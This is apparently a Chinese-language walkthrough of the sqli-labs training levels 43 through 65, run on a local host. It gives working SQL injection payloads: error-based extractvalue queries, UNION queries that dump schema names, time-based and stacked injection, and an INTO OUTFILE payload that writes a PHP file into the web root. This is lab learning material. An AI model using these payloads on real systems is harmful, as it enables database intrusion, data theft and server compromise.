这次我们的语句需要闭合‘)了
当然首先需要登陆成功
修改成功
Less-44 - Stacked Query blind
同less-42关,只是关闭了报错
less-45 基于报错的password处的’)闭合注入
同less-43关,只是关闭了报错
less-46 ORDER BY-Error-Numeric
我们按照他的规则,输入试试,发现是一个排序的表格
输如单引号也发现存在报错,那么我们肯定可以报错注入
既然是排序的表格,order by 后面虽然不能进行奇奇怪怪的union注入,但是可以进行desc/asc进行排序
那么我们可以尝试报错注入
http://127.0.0.1/sqli-labs/Less-46/?sort=(extractvalue(1,concat(0x7e,(select user()),0x7e)))#
有很明显的延时,说明可以使用时间注入
当然我们可以试试写入文件
?sort=1 into outfile "D:\\phpStudy\\WWW\\sqli-labs\\Less-46\\111.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
我们使用十六进制来替代<?php phphinfo();?>
Less-47 - ORDER BY Clause-Error-Single quote
查看源码,我们发现,这里的id增添了单引号而已,其余和46关一致
Less-48 - ORDER BY Clause Blind based
同46关,只不过关闭了报错,无法使用报错注入
Less49 - ORDER BY Clause Blind based
同47,关闭了报错,无法使用报错注入
Less50 - ORDER BY Clause Blind based
对比46关,存在if (mysqli_multi_query($con1, $sql))
说明我们可以进行堆叠注入
Less-51 - ORDER BY Clause Blind based
对比47关,多了if (mysqli_multi_query($con1, $sql))
Less-52 - ORDER BY Clause Blind based
同50关,关闭了报错,采用报错注入以外的手段
Less-53 - ORDER BY Clause Blind based
同51关,关闭了报错,采用报错注入以外的手段
Page-4
Less-54:Challenge-1
本关只有10次机会,
我们测试1,1‘,1’ --+
得出结果 正常,异常,正常,
得知,应该是单引号的闭合
那么我们使用orderby 查看有几列
发现到4的时候没有了回显
那么就只有三列,
看到了回显,
http://127.0.0.1/sqli-labs/Less-54/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
我们爆出表名
接着,查出列名
成功获取到
Less-55:Challenge-2
经过很多很多很多我们的尝试,发现1) --+
可以闭合,
我们让他回显
查表名,
查列名
http://127.0.0.1/sqli-labs/Less-55/?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='2gaf81dvi5' --+
最后一波,极限,
Less-56:Challenge-3
本关查询语句是SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1
所以payload换为id=-1’) ··· 其余同上一关
Less-57:Challenge-4
本关查询语句改为SELECT * FROM security.users WHERE id="$id" LIMIT 0,1
所以payload换为id=-1" ··· 其余同上一关关
Less-58:Challenge-5
只有五次机会,
它存在报错,我们就可以尝试报错注入
可以查询,但是没有回显。
查到列
Less-59:Challenge-6
本关查询语句SELECT * FROM security.users WHERE id=$id LIMIT 0,1
所以payload换为id=-1 ··· 其余同上一关
Less-60:Challenge-7
本关查询语句SELECT * FROM security.users WHERE id=("$id") LIMIT 0,1
所以payload换为id=-1") ··· 其余上一关
Less-61:Challenge-8
本关查询语句SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1
所以payload换为id=-1’)) ··· 其余同58关
Less-62:Challenge-9
这关关闭了报错,但是存在很明显的延迟
修改这个地方aaa
范围是0~128 ascii码
Less-63:Challenge-10
/Less-63/?id=1' --+
,回显正常,说明闭合方式为单引号’
同样时间盲注,跟62关一样。
Less-64:Challenge-11
Less-64/?id=1)) --+
页面回显正常验证了就是两括号的闭合方式。
时间盲注同62
Less-65:Challenge-12
/Less-65/?id=1") --+
页面回显正常,说明闭合方式为双引号括号")
同样时间盲注,跟62关一样。